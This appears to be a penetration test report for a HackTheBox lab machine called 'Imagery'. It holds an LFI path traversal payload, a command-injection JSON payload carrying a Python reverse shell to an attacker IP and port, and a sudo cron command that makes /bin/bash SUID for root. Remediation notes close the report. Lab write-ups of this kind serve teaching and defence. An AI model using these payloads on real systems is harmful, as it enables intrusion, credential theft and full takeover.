PENETRATION TEST REPORT

Target: Imagery (10.129.18.45)

HackTheBox Engagement

Prepared For: HackTheBox / Imagery Admin
Date: February 5, 2026
Author: Attacker (You)

Contents

1 EXECUTIVE SUMMARY

1.1 Overview

This report details the security assessment conducted on the "Imagery" system (10.129.18.45). The objective was to identify vulnerabilities that could lead to system compromise, data exfiltration, or unauthorized administrative access.

The assessment resulted in a **complete compromise** of the system, achieving root-level privileges. The primary entry point involved a critical Local File Inclusion (LFI) vulnerability leading to credential theft, followed by an Authenticated Remote Code Execution (RCE) via the ImageMagick utility. Privilege escalation was achieved by exploiting a custom backup binary (‘charcol‘) running with sudo privileges.

1.2 Key Findings Summary

- **Critical:** Authenticated Remote Code Execution (RCE) in Image Gallery.
- **High:** Local File Inclusion (LFI) in System Logs.
- **High:** Privilege Escalation via Custom Binary (‘charcol‘).
- **Medium:** Weak Password Policy & Hardcoded Credentials in ‘db.json‘.
- **Medium:** Sensitive Data Exposure in Backup Files (‘backup.zip.aes‘).

2 INTERNAL NETWORK COMPROMISE WALKTHROUGH

2.1 Phase 1: Initial Foothold (LFI to Credential Theft)

Enumeration revealed a web application running on port 80. Access to the administrative panel was restricted. However, a **Local File Inclusion (LFI)** vulnerability was discovered in the "Logs" section of the application.

Using a path traversal payload, we were able to escape the log directory and access the application's database configuration file.

LFI Payload

```
view_log.php?file=../../../../var/www/imagery/db.json
```

The ‘db.json‘ file contained the password hash for the user `testuser`.

- **User:** testuser
- **Hash:** [MD5 Hash Redacted]
- **Cracked Password:** `iambatman`

2.2 Phase 2: Remote Code Execution (RCE)

Authenticating as ‘testuser‘ unlocked the "Image Gallery" editing features. The application utilizes a Python backend calling ImageMagick to resize and crop images. The ‘width‘ parameter in the crop request was found to be vulnerable to Command Injection.

By injecting a Python one-liner into the ‘width‘ field, we bypassed the application's quote sanitization and executed a reverse shell.

```
{
  "imageId": "718baa1a-7af0-4667-a13f-a0a3d6cbca0b",
  "transformType": "crop",
  "params": {
    "x": 0,
    "y": 0,
    "width": "800';python3 -c 'import os,pty,socket;s=socket.socket();s.
        connect((\"10.10.14.139\",1337));[os.dup2(s.fileno(),f)for f in
        (0,1,2)];pty.spawn(\"/bin/bash\")'; #",
    "height": 750
  }
}
```

Listing 1: Successful Injection Payload

2.3 Phase 3: Lateral Movement

Upon gaining a shell as ‘www-data‘, we identified a backup file named ‘backup.zip.aes‘ in the web directory. This file was encrypted with ‘pyAesCrypt‘. We transferred the file to the attack machine and brute-forced the password using a custom Python script and the ‘rockyou.txt‘ wordlist.

The decrypted archive contained credentials/keys allowing lateral movement to the user **mark**.

2.4 Phase 4: Privilege Escalation to Root

Enumeration of the user ‘mark‘ revealed sudo privileges for a custom binary located at ‘/usr/local/bin/charcol‘.

Sudo Privileges

```
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
```

Investigation revealed ‘charcol‘ is a backup automation tool with an interactive shell. The tool contained a logical vulnerability in the ‘auto add‘ command, which allows scheduling arbitrary cron jobs without input validation.

We exploited this by scheduling a malicious job to modify permissions on ‘/bin/bash‘:

```
charcol> auto add --schedule "* * * * *" --command "chmod +s /bin/bash"
    --name "privesc"
```

After waiting for the scheduler to trigger, ‘/bin/bash‘ became a SUID binary, allowing us to execute ‘bash -p‘ and obtain **Root** access.

3 TECHNICAL FINDINGS DETAILS

3.1 Finding 1: Authenticated Command Injection

- **Severity:** Critical (9.8)
- **Description:** The image processing function improperly sanitizes user input in the JSON parameters before passing them to a system shell command.
- **Impact:** Complete control over the web server.
- **Remediation:** Avoid using ‘os.system‘ or ‘subprocess.call‘ with ‘shell=True‘. Use direct library bindings (e.g., Python Pillow) instead of command-line wrappers.

3.2 Finding 2: Insecure Sudo Configuration (Charcol)

- **Severity:** High (8.8)
- **Description:** The ‘charcol‘ binary allows unprivileged users to schedule commands that run as root. The lack of validation on the ‘–command‘ flag permits arbitrary code execution.
- **Impact:** Full system compromise (Root access).
- **Remediation:** Remove the ‘auto add‘ functionality from the interactive shell or restrict it to a whitelist of safe commands.

4 CONCLUSION

The "Imagery" machine demonstrated significant security flaws in input validation and privilege management. The chain of vulnerabilities allowed an attacker to move from an unauthenticated state to full administrative control. Immediate patching of the Image Gallery logic and the ‘charcol‘ binary is recommended.